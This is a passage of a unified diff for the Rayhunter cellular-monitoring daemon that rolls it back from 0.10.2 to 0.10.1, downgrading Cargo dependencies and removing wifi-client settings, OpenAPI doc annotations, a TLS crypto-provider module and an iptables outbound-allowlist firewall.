-version = "2.10.1"
+version = "2.9.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e11ea2e6f801d275fdd890d6c9603736012742a1c33b96d0db788c9cdebf7f9e"
+checksum = "929f5df216f5c02a9e894554401bcdab6eec3e39ec6a4a7731c7067fc8688a93"
 dependencies = [
 "gtk",
 "http",
@@ -5796,6 +5887,7 @@ dependencies = [
 "log",
 "objc2 0.6.3",
 "objc2-app-kit",
+ "objc2-foundation 0.3.2",
 "once_cell",
 "percent-encoding",
 "raw-window-handle",
@@ -5812,9 +5904,9 @@ dependencies = [

 [[package]]
 name = "tauri-utils"
-version = "2.8.3"
+version = "2.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "219a1f983a2af3653f75b5747f76733b0da7ff03069c7a41901a5eb3ace4557d"
+checksum = "f6b8bbe426abdbf52d050e52ed693130dbd68375b9ad82a3fb17efb4c8d85673"
 dependencies = [
 "anyhow",
 "brotli",
@@ -5860,7 +5952,7 @@ dependencies = [

 [[package]]
 name = "telcom-parser"
-version = "0.10.2"
+version = "0.10.1"
 dependencies = [
 "asn1-codecs",
 "asn1-compiler",
@@ -6005,6 +6097,21 @@ dependencies = [
 "zerovec",
 ]

+[[package]]
+name = "tinyvec"
+version = "1.10.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bfa5fdc3bce6191a1dbc8c02d5c8bffcf557bafa17c124c5264a458f1b0613fa"
+dependencies = [
+ "tinyvec_macros",
+]
+
+[[package]]
+name = "tinyvec_macros"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
+
 [[package]]
 name = "tokio"
 version = "1.45.0"
@@ -6212,9 +6319,9 @@ checksum = "ea68304e134ecd095ac6c3574494fc62b909f416c4fca77e440530221e549d3d"

 [[package]]
 name = "tower"
-version = "0.5.3"
+version = "0.5.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4"
+checksum = "d039ad9159c98b70ecfd540b2573b97f7f52c3e8d9f8ad57a24b916a536975f9"
 dependencies = [
 "futures-core",
 "futures-util",
@@ -6227,9 +6334,9 @@ dependencies = [

 [[package]]
 name = "tower-http"
-version = "0.6.8"
+version = "0.6.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4e6559d53cc268e5031cd8429d05415bc4cb4aefc4aa5d6cc35fbf5b924a1f8"
+checksum = "adc82fd73de2a9722ac5da747f12383d2bfdb93591ee6c58486e0097890f05f2"
 dependencies = [
 "bitflags 2.9.1",
 "bytes",
@@ -6448,29 +6555,6 @@ version = "0.2.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"

-[[package]]
-name = "utoipa"
-version = "5.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2fcc29c80c21c31608227e0912b2d7fddba57ad76b606890627ba8ee7964e993"
-dependencies = [
- "indexmap 2.12.1",
- "serde",
- "serde_json",
- "utoipa-gen",
-]
-
-[[package]]
-name = "utoipa-gen"
-version = "5.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d79d08d92ab8af4c5e8a6da20c47ae3f61a0f1dabc1997cdf2d082b757ca08b"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.101",
-]
-
 [[package]]
 name = "uuid"
 version = "1.18.1"
@@ -6574,44 +6658,24 @@ dependencies = [

 [[package]]
 name = "wasm-bindgen"
-version = "0.2.118"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0bf938a0bacb0469e83c1e148908bd7d5a6010354cf4fb73279b7447422e3a89"
+checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5"
 dependencies = [
 "cfg-if",
 "once_cell",
 "rustversion",
 "wasm-bindgen-macro",
- "wasm-bindgen-shared",
 ]

 [[package]]
-name = "wasm-bindgen-futures"
-version = "0.4.68"
+name = "wasm-bindgen-backend"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f371d383f2fb139252e0bfac3b81b265689bf45b6874af544ffa4c975ac1ebf8"
-dependencies = [
- "js-sys",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "wasm-bindgen-macro"
-version = "0.2.118"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eeff24f84126c0ec2db7a449f0c2ec963c6a49efe0698c4242929da037ca28ed"
-dependencies = [
- "quote",
- "wasm-bindgen-macro-support",
-]
-
-[[package]]
-name = "wasm-bindgen-macro-support"
-version = "0.2.118"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d08065faf983b2b80a79fd87d8254c409281cf7de75fc4b773019824196c904"
+checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6"
 dependencies = [
 "bumpalo",
+ "log",
 "proc-macro2",
 "quote",
 "syn 2.0.101",
@@ -6619,19 +6683,55 @@ dependencies = [
 ]

 [[package]]
-name = "wasm-bindgen-shared"
-version = "0.2.118"
+name = "wasm-bindgen-futures"
+version = "0.4.50"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5fd04d9e306f1907bd13c6361b5c6bfc7b3b3c095ed3f8a9246390f8dbdee129"
+checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61"
+dependencies = [
+ "cfg-if",
+ "js-sys",
+ "once_cell",
+ "wasm-bindgen",
+ "web-sys",
+]
+
+[[package]]
+name = "wasm-bindgen-macro"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407"
+dependencies = [
+ "quote",
+ "wasm-bindgen-macro-support",
+]
+
+[[package]]
+name = "wasm-bindgen-macro-support"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+ "wasm-bindgen-backend",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-shared"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d"
 dependencies = [
 "unicode-ident",
 ]

 [[package]]
 name = "wasm-streams"
-version = "0.5.0"
+version = "0.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d1ec4f6517c9e11ae630e200b2b65d193279042e28edd4a2cda233e46670bbb"
+checksum = "15053d8d85c7eccdbefef60f06769760a563c7f0a9d6902a13d35c7800b0ad65"
 dependencies = [
 "futures-util",
 "js-sys",
@@ -6642,9 +6742,19 @@ dependencies = [

 [[package]]
 name = "web-sys"
-version = "0.3.95"
+version = "0.3.77"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4f2dfbb17949fa2088e5d39408c48368947b86f7834484e87b73de55bc14d97d"
+checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2"
+dependencies = [
+ "js-sys",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "web-time"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb"
 dependencies = [
 "js-sys",
 "wasm-bindgen",
@@ -6652,9 +6762,9 @@ dependencies = [

 [[package]]
 name = "webkit2gtk"
-version = "2.0.2"
+version = "2.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1027150013530fb2eaf806408df88461ae4815a45c541c8975e61d6f2fc4793"
+checksum = "76b1bc1e54c581da1e9f179d0b38512ba358fb1af2d634a1affe42e37172361a"
 dependencies = [
 "bitflags 1.3.2",
 "cairo-rs",
@@ -6676,9 +6786,9 @@ dependencies = [

 [[package]]
 name = "webkit2gtk-sys"
-version = "2.0.2"
+version = "2.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "916a5f65c2ef0dfe12fff695960a2ec3d4565359fdbb2e9943c974e06c734ea5"
+checksum = "62daa38afc514d1f8f12b8693d30d5993ff77ced33ce30cd04deebc267a6d57c"
 dependencies = [
 "bitflags 1.3.2",
 "cairo-sys-rs",
@@ -6751,20 +6861,6 @@ version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "dd7cf3379ca1aac9eea11fba24fd7e315d621f8dfe35c8d7d2be8b793726e07d"

-[[package]]
-name = "wifi-station"
-version = "0.10.1"
-source = "git+https://github.com/BeigeBox/wifi-station?rev=e8ec5b4#e8ec5b491fa125bf5346b6aa84f13ed51de33044"
-dependencies = [
- "anyhow",
- "chrono",
- "log",
- "serde",
- "tokio",
- "tokio-util",
- "utoipa",
-]
-
 [[package]]
 name = "winapi"
 version = "0.3.9"
@@ -6787,7 +6883,7 @@ version = "0.1.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb"
 dependencies = [
- "windows-sys 0.48.0",
+ "windows-sys 0.59.0",
 ]

 [[package]]
@@ -7332,9 +7428,9 @@ checksum = "ea2f10b9bb0928dfb1b42b65e1f9e36f7f54dbdf08457afefb38afcdec4fa2bb"

 [[package]]
 name = "wry"
-version = "0.54.2"
+version = "0.53.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bb26159b420aa77684589a744ae9a9461a95395b848764ad12290a14d960a11a"
+checksum = "728b7d4c8ec8d81cab295e0b5b8a4c263c0d41a785fb8f8c4df284e5411140a2"
 dependencies = [
 "base64 0.22.1",
 "block2 0.6.2",
--- a/check/Cargo.toml
+++ b/check/Cargo.toml
@@ -1,6 +1,6 @@
 [package]
 name = "rayhunter-check"
-version = "0.10.2"
+version = "0.10.1"
 edition = "2024"

 [dependencies]
--- a/daemon/Cargo.toml
+++ b/daemon/Cargo.toml
@@ -1,27 +1,16 @@
 [package]
 name = "rayhunter-daemon"
-version = "0.10.2"
+version = "0.10.1"
 edition = "2024"
 rust-version = "1.88.0"

-[lib]
-name = "rayhunter_daemon"
-path = "src/lib.rs"
-
-[[bin]]
-name = "gen_api"
-path = "src/bin/gen_api.rs"
-required-features = ["apidocs"]
-
 [features]
 default = ["rustcrypto-tls"]
 rustcrypto-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-rustcrypto"]
-pq-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-post-quantum"]
-apidocs = ["dep:utoipa", "wifi-station/utoipa"]
+ring-tls = ["reqwest/rustls-tls-webpki-roots"]

 [dependencies]
 rayhunter = { path = "../lib" }
-wifi-station = { git = "https://github.com/BeigeBox/wifi-station", rev = "e8ec5b4" }
 toml = "0.8.8"
 serde = { version = "1.0.193", features = ["derive"] }
 tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt"] }
@@ -37,12 +26,9 @@ tokio-stream = { version = "0.1.14", default-features = false, features = ["io-u
 futures = { version = "0.3.30", default-features = false }
 serde_json = "1.0.114"
 image = { version =  "0.25.1", default-features = false, features = ["png", "gif"] }
-tempfile = "3.10.2"
+tempfile = "3.10.1"
 async_zip = { version = "0.0.17", features = ["tokio"] }
 anyhow = "1.0.98"
 reqwest = { version = "0.12.20", default-features = false }
 rustls-rustcrypto = { version = "0.0.2-alpha", optional = true }
-rustls-post-quantum = { version = "0.2.4", optional = true }
 async-trait = "0.1.88"
-utoipa = { version = "5.4.0", optional = true }
-url = "2.5.4"
--- a/daemon/src/analysis.rs
+++ b/daemon/src/analysis.rs
@@ -77,15 +77,10 @@ impl AnalysisWriter {
    }
 }

-/// The system status relating to QMDL file analysis
 #[derive(Debug, Serialize, Clone)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct AnalysisStatus {
-    /// The vector array of queued files
    queued: Vec<String>,
-    /// The file currently being analyzed
    running: Option<String>,
-    /// The vector array of finished files
    finished: Vec<String>,
 }

@@ -220,16 +215,6 @@ pub fn run_analysis_thread(
    });
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/analysis",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::OK, description = "Success", body = AnalysisStatus)
-    ),
-    summary = "Analysis status",
-    description = "Show analysis status for all QMDL files."
-))]
 pub async fn get_analysis_status(
    State(state): State<Arc<ServerState>>,
 ) -> Result<Json<AnalysisStatus>, (StatusCode, String)> {
@@ -246,20 +231,6 @@ fn queue_qmdl(name: &str, analysis_status: &mut RwLockWriteGuard<AnalysisStatus>
    true
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/analysis/{name}",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::ACCEPTED, description = "Success"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Unable to queue analysis file")
-    ),
-    params(
-        ("name" = String, Path, description = "QMDL file to analyze")
-    ),
-    summary = "Start analysis",
-    description = "Begin analysis of QMDL file {name}."
-))]
 pub async fn start_analysis(
    State(state): State<Arc<ServerState>>,
    Path(qmdl_name): Path<String>,
--- a/daemon/src/battery/mod.rs
+++ b/daemon/src/battery/mod.rs
@@ -18,13 +18,9 @@ pub mod wingtech;

 const LOW_BATTERY_LEVEL: u8 = 10;

-/// Device battery information
 #[derive(Clone, Copy, PartialEq, Debug, Serialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct BatteryState {
-    /// The current level in percentage of the device battery
    level: u8,
-    /// A boolean indicating whether the battery is currently being charged
    is_plugged_in: bool,
 }

--- a/daemon/src/bin/gen_api.rs
+++ b/daemon/src/bin/gen_api.rs
@@ -1,12 +0,0 @@
-use std::{env, fs};
-
-fn main() {
-    let content = rayhunter_daemon::ApiDocs::generate();
-    let mut filename = "openapi.json".to_string();
-    let args: Vec<String> = env::args().collect();
-    if args.len() > 1 {
-        filename = args[1].to_string();
-    }
-
-    fs::write(filename, content).unwrap();
-}
--- a/daemon/src/config.rs
+++ b/daemon/src/config.rs
@@ -7,49 +7,21 @@ use rayhunter::analysis::analyzer::AnalyzerConfig;
 use crate::error::RayhunterError;
 use crate::notifications::NotificationType;

-/// The structure of a valid rayhunter configuration
 #[derive(Debug, Clone, Deserialize, Serialize)]
 #[serde(default)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct Config {
-    /// Path to store QMDL files
    pub qmdl_store_path: String,
-    /// Listening port
    pub port: u16,
-    /// Debug mode
    pub debug_mode: bool,
-    /// Internal device name
    pub device: Device,
-    /// UI level
    pub ui_level: u8,
-    /// Colorblind mode
    pub colorblind_mode: bool,
-    /// Key input mode
    pub key_input_mode: u8,
-    /// ntfy.sh URL
    pub ntfy_url: Option<String>,
-    /// Vector containing the types of enabled notifications
    pub enabled_notifications: Vec<NotificationType>,
-    /// Vector containing the list of enabled analyzers
    pub analyzers: AnalyzerConfig,
-    /// Minimum disk space required to start a recording
    pub min_space_to_start_recording_mb: u64,
-    /// Minimum disk space required to continue a recording
    pub min_space_to_continue_recording_mb: u64,
-    /// Wifi client SSID
-    pub wifi_ssid: Option<String>,
-    /// Wifi client password
-    pub wifi_password: Option<String>,
-    /// Wifi security type (wpa_psk or sae)
-    pub wifi_security: Option<wifi_station::SecurityType>,
-    /// Wifi client mode
-    pub wifi_enabled: bool,
-    /// Vector containing wifi client DNS servers
-    pub dns_servers: Option<Vec<String>>,
-    /// Wifi client firewall mode
-    pub firewall_restrict_outbound: bool,
-    /// Vector containing additional wifi client firewall ports to open
-    pub firewall_allowed_ports: Option<Vec<u16>>,
 }

 impl Default for Config {
@@ -67,83 +39,20 @@ impl Default for Config {
            enabled_notifications: vec![NotificationType::Warning, NotificationType::LowBattery],
            min_space_to_start_recording_mb: 1,
            min_space_to_continue_recording_mb: 1,
-            wifi_ssid: None,
-            wifi_password: None,
-            wifi_security: None,
-            wifi_enabled: false,
-            dns_servers: None,
-            firewall_restrict_outbound: true,
-            firewall_allowed_ports: None,
        }
    }
 }

-impl Config {
-    pub fn wifi_config(&self) -> wifi_station::WifiConfig {
-        let (wpa_bin, hostapd_conf, ctrl_interface) = match self.device {
-            Device::Tmobile | Device::Wingtech => (
-                Some("/usr/sbin/wpa_supplicant".into()),
-                Some("/data/configs/hostapd.conf".into()),
-                None,
-            ),
-            Device::Uz801 => (
-                Some("/system/bin/wpa_supplicant".into()),
-                Some("/data/misc/wifi/hostapd.conf".into()),
-                Some("/data/misc/wifi/sockets".into()),
-            ),
-            _ => (None, None, None),
-        };
-        wifi_station::WifiConfig {
-            wifi_enabled: self.wifi_enabled,
-            dns_servers: self.dns_servers.clone(),
-            wifi_ssid: self.wifi_ssid.clone(),
-            wifi_password: self.wifi_password.clone(),
-            security_type: self.wifi_security,
-            wpa_supplicant_bin: wpa_bin.or_else(|| resolve_bin("wpa_supplicant")),
-            hostapd_conf,
-            ctrl_interface,
-            udhcpc_hook_path: Some("/data/rayhunter/udhcpc-hook.sh".into()),
-            dhcp_lease_path: Some("/data/rayhunter/dhcp_lease".into()),
-            wpa_conf_path: Some("/data/rayhunter/wpa_sta.conf".into()),
-            iw_bin: resolve_bin("iw"),
-            udhcpc_bin: resolve_bin("udhcpc"),
-            crash_log_dir: Some("/data/rayhunter/crash-logs".into()),
-            wakelock_name: Some("rayhunter".into()),
-        }
-    }
-}
-
-fn resolve_bin(name: &str) -> Option<String> {
-    let local = format!("/data/rayhunter/bin/{name}");
-    if std::path::Path::new(&local).exists() {
-        return Some(local);
-    }
-    None
-}
-
 pub async fn parse_config<P>(path: P) -> Result<Config, RayhunterError>
 where
    P: AsRef<std::path::Path>,
 {
-    let mut config = if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
-        toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?
+    if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
+        Ok(toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?)
    } else {
        warn!("unable to read config file, using default config");
-        Config::default()
-    };
-
-    if let Some((ssid, security)) =
-        wifi_station::read_network_from_wpa_conf("/data/rayhunter/wpa_sta.conf")
-    {
-        config.wifi_ssid = Some(ssid);
-        config.wifi_security = Some(security);
-    } else {
-        config.wifi_ssid = None;
-        config.wifi_security = None;
+        Ok(Config::default())
    }
-    config.wifi_password = None;
-
-    Ok(config)
 }

 pub struct Args {
--- a/daemon/src/crypto_provider.rs
+++ b/daemon/src/crypto_provider.rs
@@ -1,23 +0,0 @@
-use std::sync::Once;
-
-static INSTALL: Once = Once::new();
-
-/// Install the default rustls `CryptoProvider` for the current process.
-///
-/// This is idempotent so that it's easier to use in tests, but also panics loudly if the
-/// initialization fails.
-pub fn install_default() {
-    // Crypto providers fail if they get initialized multiple times, but we don't want to just
-    // ignore all errors, hence the use of once.
-    INSTALL.call_once(|| {
-        #[cfg(feature = "rustcrypto-tls")]
-        rustls_rustcrypto::provider()
-            .install_default()
-            .expect("failed to install rustcrypto crypto provider");
-
-        #[cfg(feature = "pq-tls")]
-        rustls_post_quantum::provider()
-            .install_default()
-            .expect("failed to install aws-lc-rs post-quantum crypto provider");
-    });
-}
--- a/daemon/src/diag.rs
+++ b/daemon/src/diag.rs
@@ -17,8 +17,6 @@ use tokio::sync::{RwLock, oneshot};
 use tokio_stream::wrappers::LinesStream;
 use tokio_util::task::TaskTracker;

-#[cfg(feature = "apidocs")]
-use rayhunter::analysis::analyzer::ReportMetadata;
 use rayhunter::analysis::analyzer::{AnalysisLineNormalizer, AnalyzerConfig, EventType};
 use rayhunter::diag::{DataType, MessagesContainer};
 use rayhunter::diag_device::DiagDevice;
@@ -289,17 +287,19 @@ impl DiagTask {
                        self.stop(qmdl_store, Some(reason)).await;
                        return;
                    }
-                    DiskSpaceCheck::Warning(mb) if !self.low_space_warned => {
-                        self.low_space_warned = true;
-                        warn!("Disk space low: {}MB remaining", mb);
-                        self.notification_channel
-                            .send(Notification::new(
-                                NotificationType::Warning,
-                                format!("Disk space low: {}MB free", mb),
-                                Some(Duration::from_secs(30)),
-                            ))
-                            .await
-                            .ok();
+                    DiskSpaceCheck::Warning(mb) => {
+                        if !self.low_space_warned {
+                            self.low_space_warned = true;
+                            warn!("Disk space low: {}MB remaining", mb);
+                            self.notification_channel
+                                .send(Notification::new(
+                                    NotificationType::Warning,
+                                    format!("Disk space low: {}MB free", mb),
+                                    Some(Duration::from_secs(30)),
+                                ))
+                                .await
+                                .ok();
+                        }
                    }
                    _ => {}
                }
@@ -444,18 +444,6 @@ pub fn run_diag_read_thread(
 }

 /// Start recording API for web thread
-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/start-recording",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::ACCEPTED, description = "Success"),
-        (status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Recording action unsuccessful")
-    ),
-    summary = "Start recording",
-    description = "Begin a new data capture."
-))]
 pub async fn start_recording(
    State(state): State<Arc<ServerState>>,
 ) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -488,18 +476,6 @@ pub async fn start_recording(
 }

 /// Stop recording API for web thread
-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/stop-recording",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::ACCEPTED, description = "Success"),
-        (status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Recording action unsuccessful")
-    ),
-    summary = "Stop recording",
-    description = "Stop current data capture."
-))]
 pub async fn stop_recording(
    State(state): State<Arc<ServerState>>,
 ) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -519,22 +495,6 @@ pub async fn stop_recording(
    Ok((StatusCode::ACCEPTED, "ok".to_string()))
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/delete-recording/{name}",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::ACCEPTED, description = "Success"),
-        (status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Delete action unsuccessful"),
-        (status = StatusCode::BAD_REQUEST, description = "Bad recording name or no such recording")
-    ),
-    params(
-        ("name" = String, Path, description = "QMDL file to delete")
-    ),
-    summary = "Delete recording",
-    description = "Remove data capture file named {name}."
-))]
 pub async fn delete_recording(
    State(state): State<Arc<ServerState>>,
    Path(qmdl_name): Path<String>,
@@ -574,18 +534,6 @@ pub async fn delete_recording(
    }
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    post,
-    path = "/api/delete-all-recordings",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::ACCEPTED, description = "Success"),
-        (status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
-        (status = StatusCode::INTERNAL_SERVER_ERROR, description = "Delete action unsuccessful")
-    ),
-    summary = "Delete all recordings",
-    description = "Remove all saved data capture files."
-))]
 pub async fn delete_all_recordings(
    State(state): State<Arc<ServerState>>,
 ) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -617,21 +565,6 @@ pub async fn delete_all_recordings(
    }
 }

-#[cfg_attr(feature = "apidocs", utoipa::path(
-    get,
-    path = "/api/analysis-report/{name}",
-    tag = "Recordings",
-    responses(
-        (status = StatusCode::OK, description = "Success", body = ReportMetadata, content_type = "application/x-ndjson"),
-        (status = StatusCode::SERVICE_UNAVAILABLE, description = "No QMDL files available; start a new recording."),
-        (status = StatusCode::NOT_FOUND, description = "File {name} not found")
-    ),
-    params(
-        ("name" = String, Path, description = "QMDL file to analyze")
-    ),
-    summary = "Analysis report",
-    description = "Download processed analysis report for QMDL file {name}, as well as the types (and versions) of analyzers used."
-))]
 pub async fn get_analysis_report(
    State(state): State<Arc<ServerState>>,
    Path(qmdl_name): Path<String>,
--- a/daemon/src/display/generic_framebuffer.rs
+++ b/daemon/src/display/generic_framebuffer.rs
@@ -102,7 +102,7 @@ pub trait GenericFramebuffer: Send + 'static {
            resized_img = img;
        }
        let img_rgba8 = resized_img.as_rgba8().unwrap();
-        let mut buf = Vec::with_capacity((height * width).try_into().unwrap());
+        let mut buf = Vec::new();
        for y in 0..height {
            for x in 0..width {
                let px = img_rgba8.get_pixel(x, y);
@@ -145,7 +145,7 @@ pub trait GenericFramebuffer: Send + 'static {

    async fn draw_patterned_line(&mut self, color: Color, height: u32, pattern: LinePattern) {
        let width = self.dimensions().width;
-        let mut buffer = Vec::with_capacity((height * width).try_into().unwrap());
+        let mut buffer = Vec::new();

        for _row in 0..height {
            for col in 0..width {
--- a/daemon/src/display/mod.rs
+++ b/daemon/src/display/mod.rs
@@ -12,9 +12,7 @@ pub mod tplink_onebit;
 pub mod uz801;
 pub mod wingtech;

-/// A list of available display states
 #[derive(Clone, Copy, PartialEq, Serialize, Deserialize)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub enum DisplayState {
    /// We're recording but no warning has been found yet.
    Recording,
--- a/daemon/src/display/orbic.rs
+++ b/daemon/src/display/orbic.rs
@@ -23,7 +23,7 @@ impl GenericFramebuffer for Framebuffer {
    }

    async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
-        let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
+        let mut raw_buffer = Vec::new();
        for (r, g, b) in buffer {
            let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
            rgb565 |= (g as u16 & 0b11111100) << 3;
--- a/daemon/src/display/tplink_framebuffer.rs
+++ b/daemon/src/display/tplink_framebuffer.rs
@@ -50,7 +50,7 @@ impl GenericFramebuffer for Framebuffer {
            rop: 0,
        };

-        let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
+        let mut raw_buffer = Vec::new();
        for (r, g, b) in buffer {
            let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
            rgb565 |= (g as u16 & 0b11111100) << 3;
--- a/daemon/src/display/wingtech.rs
+++ b/daemon/src/display/wingtech.rs
@@ -28,7 +28,7 @@ impl GenericFramebuffer for Framebuffer {
    }

    async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
-        let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
+        let mut raw_buffer = Vec::new();
        for (r, g, b) in buffer {
            let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
            rgb565 |= (g as u16 & 0b11111100) << 3;
--- a/daemon/src/firewall.rs
+++ b/daemon/src/firewall.rs
@@ -1,92 +0,0 @@
-use anyhow::{Result, bail};
-use log::{info, warn};
-use tokio::process::Command;
-
-use wifi_station::detect_bridge_iface;
-
-use crate::config::Config;
-
-async fn run_iptables(args: &[&str]) -> Result<()> {
-    let out = Command::new("iptables").args(args).output().await?;
-    if !out.status.success() {
-        bail!(
-            "iptables {} failed: {}",
-            args.join(" "),
-            String::from_utf8_lossy(&out.stderr)
-        );
-    }
-    Ok(())
-}
-
-pub async fn apply(config: &Config) {
-    let _ = Command::new("iptables")
-        .args(["-F", "OUTPUT"])
-        .output()
-        .await;
-
-    if config.firewall_restrict_outbound {
-        // Fail open on partial setup error: reachability beats restriction when recovery means physical access.
-        match setup_outbound_whitelist(&config.firewall_allowed_ports, &config.ntfy_url).await {
-            Ok(()) => info!("outbound firewall active: allowing DHCP, DNS, HTTPS only"),
-            Err(e) => warn!("firewall setup failed: {e} (fail-open, outbound unrestricted)"),
-        }
-    }
-}
-
-async fn setup_outbound_whitelist(
-    extra_ports: &Option<Vec<u16>>,
-    ntfy_url: &Option<String>,
-) -> Result<()> {
-    run_iptables(&["-A", "OUTPUT", "-o", "lo", "-j", "ACCEPT"]).await?;
-    run_iptables(&["-A", "OUTPUT", "-o", detect_bridge_iface(), "-j", "ACCEPT"]).await?;
-    run_iptables(&[
-        "-A",
-        "OUTPUT",
-        "-m",
-        "state",
-        "--state",
-        "ESTABLISHED,RELATED",
-        "-j",
-        "ACCEPT",
-    ])
-    .await?;
-    run_iptables(&[
-        "-A", "OUTPUT", "-p", "udp", "--dport", "67:68", "-j", "ACCEPT",
-    ])
-    .await?;
-    run_iptables(&["-A", "OUTPUT", "-p", "udp", "--dport", "53", "-j", "ACCEPT"]).await?;
-    run_iptables(&["-A", "OUTPUT", "-p", "tcp", "--dport", "53", "-j", "ACCEPT"]).await?;
-    run_iptables(&[
-        "-A", "OUTPUT", "-p", "tcp", "--dport", "443", "-j", "ACCEPT",
-    ])
-    .await?;
-
-    if let Some(url) = ntfy_url
-        && let Ok(parsed) = url::Url::parse(url)
-        && let Some(port) = parsed.port_or_known_default()
-        && port != 443
-    {
-        let port_str = port.to_string();
-        run_iptables(&[
-            "-A", "OUTPUT", "-p", "tcp", "--dport", &port_str, "-j", "ACCEPT",
-        ])
-        .await?;
-        info!("firewall: auto-allowed port {port} for ntfy");
-    }
-
-    if let Some(ports) = extra_ports {
-        for port in ports {
-            let port_str = port.to_string();
-            run_iptables(&[
-                "-A", "OUTPUT", "-p", "tcp", "--dport", &port_str, "-j", "ACCEPT",
-            ])
-            .await?;
-        }
-    }
-
-    run_iptables(&["-A", "OUTPUT", "-j", "DROP"]).await?;
-
-    let _ = tokio::fs::write("/proc/sys/net/bridge/bridge-nf-call-iptables", "0").await;
-
